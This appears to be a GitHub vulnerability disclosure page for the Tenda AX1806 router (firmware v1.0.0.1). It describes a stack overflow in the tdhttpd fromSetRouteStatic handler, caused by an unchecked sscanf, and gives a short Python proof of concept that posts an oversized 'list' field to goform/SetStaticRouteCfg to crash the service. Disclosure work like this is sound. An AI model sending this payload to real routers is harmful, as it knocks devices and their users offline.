Skip to content
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
IoT-vuln/Tenda/AX1806/fromSetRouteStatic/
IoT-vuln/Tenda/AX1806/fromSetRouteStatic/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
img
 
 
 
 

Overview

Affected version

v1.0.0.1

Vulnerability details

tdhttpd in directory /bin has stack overflow vulnerability. The vulnerability occurrs in the fromSetRouteStatic function, which can be accessed via the URL goform/SetStaticRouteCfg.

image-20220526202959832

In function FUN_000519b8, the function sscanf is called to split it and copy to stack buffer without checking its length.

image-20220526203041771

PoC

Poc of Denial of Service(DoS)

import requests

data = {
    b"list": b'A'*0x400+b',A,A,A'
}
res = requests.post("http://127.0.0.1/goform/SetStaticRouteCfg", data=data)
print(res.content)

image-20220526203258972